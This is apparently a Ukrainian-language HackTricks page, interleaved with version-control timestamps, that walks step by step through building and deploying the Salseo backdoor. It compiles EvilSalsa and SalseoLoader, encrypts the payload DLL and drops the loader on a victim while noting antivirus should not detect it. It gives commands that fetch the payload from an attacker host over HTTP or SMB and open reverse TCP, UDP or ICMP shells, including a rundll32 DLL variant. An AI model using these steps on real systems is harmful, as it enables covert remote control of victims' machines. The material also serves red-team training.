2022-08-04 20:47:35 +00:00
# Salseo
2022-04-28 16:01:33 +00:00
2024-07-18 18:09:13 +00:00
{% hint style="success" %}
Вивчайте та практикуйте взлом AWS: < img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**Школа взлому AWS для Червоної Команди (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Вивчайте та практикуйте взлом GCP: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**Школа взлому GCP для Червоної Команди (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-18 18:09:13 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-18 18:09:13 +00:00
< summary > Підтримайте HackTricks< / summary >
2023-12-30 10:12:47 +00:00
2024-07-18 18:09:13 +00:00
* Перевірте [**плани підписки** ](https://github.com/sponsors/carlospolop )!
* **Приєднуйтесь до** 💬 [**групи Discord** ](https://discord.gg/hRep4RUj7f ) а б о [**групи Telegram** ](https://t.me/peass ) а б о **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Поширюйте хакерські трюки, надсилайте PR до** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) **та** [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) **репозиторіїв на GitHub.**
2022-04-28 16:01:33 +00:00
< / details >
2024-07-18 18:09:13 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00
2024-03-29 18:49:46 +00:00
## Компіляція бінарних файлів
2020-07-15 15:43:14 +00:00
2024-07-18 18:09:13 +00:00
Завантажте вихідний код з GitHub та скомпілюйте **EvilSalsa** та **SalseoLoader** . Вам потрібно мати встановлений **Visual Studio** для компіляції коду.
2020-07-15 15:43:14 +00:00
2024-07-18 18:09:13 +00:00
Скомпілюйте ці проекти для архітектури віконної системи, на якій ви плануєте їх використовувати (якщо Windows підтримує x64, скомпілюйте їх для цієї архітектури).
2020-07-15 15:43:14 +00:00
2024-03-29 18:49:46 +00:00
Ви можете **вибрати архітектуру** всередині Visual Studio в **лівій вкладці "Build"** в ** "Platform Target".**
2020-07-15 15:43:14 +00:00
2024-03-29 18:49:46 +00:00
(\*\*Якщо ви не можете знайти ці параметри, натисніть на ** "Project Tab"**, а потім на ** "\<Project Name> Properties"**)
2020-07-15 15:43:14 +00:00
2022-08-10 14:32:58 +00:00
![](< .. / . gitbook / assets / image ( 132 ) . png > )
2020-07-15 15:43:14 +00:00
2024-07-18 18:09:13 +00:00
Потім скомпілюйте обидва проекти (Build -> Build Solution) (У логах з'явиться шлях до виконуваного файлу):
2020-07-15 15:43:14 +00:00
2022-09-27 00:14:52 +00:00
![](< .. / . gitbook / assets / image ( 1 ) ( 2 ) ( 1 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-03-29 18:49:46 +00:00
## Підготовка Задніх Дверей
2020-07-15 15:43:14 +00:00
2024-07-18 18:09:13 +00:00
По-перше, вам потрібно закодувати **EvilSalsa.dll.** Для цього ви можете використати скрипт Python **encrypterassembly.py** а б о скомпілювати проект **EncrypterAssembly** :
2020-07-15 15:43:14 +00:00
2022-08-04 20:47:35 +00:00
### **Python**
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
python EncrypterAssembly/encrypterassembly.py < FILE > < PASSWORD > < OUTPUT_FILE >
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
2022-08-04 20:47:35 +00:00
### Windows
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
EncrypterAssembly.exe < FILE > < PASSWORD > < OUTPUT_FILE >
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
2024-07-18 18:09:13 +00:00
Ok, зараз у вас є все необхідне для виконання всієї справи Salseo: **закодований EvilDalsa.dll** та **бінарний файл SalseoLoader.**
2020-07-15 15:43:14 +00:00
2024-07-18 18:09:13 +00:00
**Завантажте виконуваний файл SalseoLoader.exe на машину. Їх не повинно виявити жодне Антивірусне програмне забезпечення...**
2020-07-15 15:43:14 +00:00
2024-03-29 18:49:46 +00:00
## **Виконання backdoor**
2020-07-15 15:43:14 +00:00
2024-03-29 18:49:46 +00:00
### **Отримання оберненого оболонкового з'єднання TCP (завантаження закодованого dll через HTTP)**
2020-07-15 15:43:14 +00:00
2024-07-18 18:09:13 +00:00
Н е забудьте запустити nc як прослуховувач оберненої оболонки та HTTP-сервер для обслуговування закодованого evilsalsa.
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
SalseoLoader.exe password http://< Attacker-IP > /evilsalsa.dll.txt reversetcp < Attacker-IP > < Port >
```
2024-07-18 18:09:13 +00:00
### **Отримання зворотньої оболонки UDP (завантаження закодованого dll через SMB)**
2020-07-15 15:43:14 +00:00
2024-07-18 18:09:13 +00:00
Н е забудьте запустити nc як прослуховувач зворотньої оболонки та сервер SMB для обслуговування закодованого evilsalsa (impacket-smbserver).
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
SalseoLoader.exe password \\< Attacker-IP > /folder/evilsalsa.dll.txt reverseudp < Attacker-IP > < Port >
```
2024-07-18 18:09:13 +00:00
### **Отримання зворотньої оболонки ICMP (закодований dll вже всередині жертви)**
2020-07-15 15:43:14 +00:00
2024-07-18 18:09:13 +00:00
**Н а цей раз вам потрібен спеціальний інструмент у клієнта для отримання зворотної оболонки. Завантажте:** [**https://github.com/inquisb/icmpsh** ](https://github.com/inquisb/icmpsh )
2020-07-15 15:43:14 +00:00
2024-07-18 18:09:13 +00:00
#### **Вимкнення відповідей ICMP:**
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
2024-03-29 18:49:46 +00:00
#### Виконати клієнт:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
python icmpsh_m.py "< Attacker-IP > " "< Victm-IP > "
```
2024-07-18 18:09:13 +00:00
#### У жертви виконаємо річ сальсео:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp < Attacker-IP >
```
2024-03-29 18:49:46 +00:00
## Компіляція SalseoLoader як DLL, експортуючи головну функцію
2020-07-15 15:43:14 +00:00
2024-03-29 18:49:46 +00:00
Відкрийте проект SalseoLoader за допомогою Visual Studio.
2020-07-15 15:43:14 +00:00
2024-03-29 18:49:46 +00:00
### Додайте перед головною функцією: \[DllExport]
2020-07-15 15:43:14 +00:00
2024-07-18 18:09:13 +00:00
![](< .. / . gitbook / assets / image ( 2 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-03-29 18:49:46 +00:00
### Встановіть DllExport для цього проекту
2020-07-15 15:43:14 +00:00
2024-03-29 18:49:46 +00:00
#### **Інструменти** --> **Менеджер пакетів NuGet** --> **Керування пакетами NuGet для рішення...**
2020-07-15 15:43:14 +00:00
2024-07-18 18:09:13 +00:00
![](< .. / . gitbook / assets / image ( 3 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-07-18 18:09:13 +00:00
#### **Пошук пакету DllExport (за допомогою вкладки Огляд), і натисніть Встановити (і прийміть спливаюче вікно)**
2020-07-15 15:43:14 +00:00
2024-03-17 14:42:04 +00:00
![](< .. / . gitbook / assets / image ( 4 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-07-18 18:09:13 +00:00
У вашій папці проекту з'явилися файли: **DllExport.bat** та **DllExport\_Configure.bat**
2020-07-15 15:43:14 +00:00
2024-07-18 18:09:13 +00:00
### **Де**інсталюйте DllExport
2020-07-15 15:43:14 +00:00
2024-03-29 18:49:46 +00:00
Натисніть **Деінсталювати** (так, це дивно, але повірте мені, це необхідно)
2020-07-15 15:43:14 +00:00
2023-06-14 10:51:55 +00:00
![](< .. / . gitbook / assets / image ( 5 ) ( 1 ) ( 1 ) ( 2 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-03-29 18:49:46 +00:00
### **Вийдіть з Visual Studio та виконайте DllExport\_configure**
2020-07-15 15:43:14 +00:00
2024-03-29 18:49:46 +00:00
Просто **вийдіть** з Visual Studio
2020-07-15 15:43:14 +00:00
2024-07-18 18:09:13 +00:00
Потім перейдіть до вашої **папки SalseoLoader** та **виконайте DllExport\_Configure.bat**
2020-07-15 15:43:14 +00:00
2024-07-18 18:09:13 +00:00
Виберіть **x64** (якщо ви збираєтеся використовувати його всередині x64-боксу, це було моє випадок), виберіть **System.Runtime.InteropServices** (в межах **Простору імен для DllExport** ) та натисніть **Застосувати**
2020-07-15 15:43:14 +00:00
2023-12-27 23:58:16 +00:00
![](< .. / . gitbook / assets / image ( 7 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-03-29 18:49:46 +00:00
### **Відкрийте проект знову за допомогою Visual Studio**
2020-07-15 15:43:14 +00:00
2024-03-29 18:49:46 +00:00
**\[DllExport]** більше не повинен бути позначений як помилка
2020-07-15 15:43:14 +00:00
2023-06-13 10:12:02 +00:00
![](< .. / . gitbook / assets / image ( 8 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-03-29 18:49:46 +00:00
### Побудуйте рішення
2020-07-15 15:43:14 +00:00
2024-03-29 18:49:46 +00:00
Виберіть **Тип виводу = Бібліотека класів** (Проект --> Властивості SalseoLoader --> Додаток --> Тип виводу = Бібліотека класів)
2020-07-15 15:43:14 +00:00
2022-10-22 15:26:54 +00:00
![](< .. / . gitbook / assets / image ( 10 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-03-29 18:49:46 +00:00
Виберіть **платформу x64** (Проект --> Властивості SalseoLoader --> Збірка --> Ціль платформи = x64)
2020-07-15 15:43:14 +00:00
2022-09-02 15:27:38 +00:00
![](< .. / . gitbook / assets / image ( 9 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-07-18 18:09:13 +00:00
Для **побудови** рішення: Build --> Build Solution (У консолі виведення з'явиться шлях до нового DLL)
2020-07-15 15:43:14 +00:00
2024-03-29 18:49:46 +00:00
### Протестуйте згенерований Dll
2020-07-15 15:43:14 +00:00
2024-03-29 18:49:46 +00:00
Скопіюйте та вставте Dll туди, де ви хочете його протестувати.
2020-07-15 15:43:14 +00:00
2024-03-29 18:49:46 +00:00
Виконайте:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
rundll32.exe SalseoLoader.dll,main
```
2024-03-29 18:49:46 +00:00
Якщо помилка не виникає, ймовірно, у вас є функціональний DLL!!
2020-07-15 15:43:14 +00:00
2024-07-18 18:09:13 +00:00
## Отримайте оболонку, використовуючи DLL
2020-07-15 15:43:14 +00:00
2024-07-18 18:09:13 +00:00
Н е забудьте використовувати **HTTP** **сервер** та встановити **nc** **прослуховувач**
2020-07-15 15:43:14 +00:00
2022-08-04 20:47:35 +00:00
### Powershell
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
```
2022-08-04 20:47:35 +00:00
### CMD
2020-07-15 15:43:14 +00:00
2024-03-29 18:49:46 +00:00
### CMD
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
2024-07-18 18:09:13 +00:00
{% hint style="success" %}
Вивчайте та практикуйте взлом AWS: < img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**Школа взлому AWS для Червоної Команди (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Вивчайте та практикуйте взлом GCP: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**Школа взлому GCP для Червоної Команди (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-18 18:09:13 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-18 18:09:13 +00:00
< summary > Підтримайте HackTricks< / summary >
2023-12-30 10:12:47 +00:00
2024-07-18 18:09:13 +00:00
* Перевірте [**плани підписки** ](https://github.com/sponsors/carlospolop )!
2024-03-29 18:49:46 +00:00
* **Приєднуйтесь до** 💬 [**групи Discord** ](https://discord.gg/hRep4RUj7f ) а б о [**групи Telegram** ](https://t.me/peass ) а б о **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
2024-07-18 18:09:13 +00:00
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) та [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) репозиторіїв на GitHub.
2022-04-28 16:01:33 +00:00
< / details >
2024-07-18 18:09:13 +00:00
{% endhint %}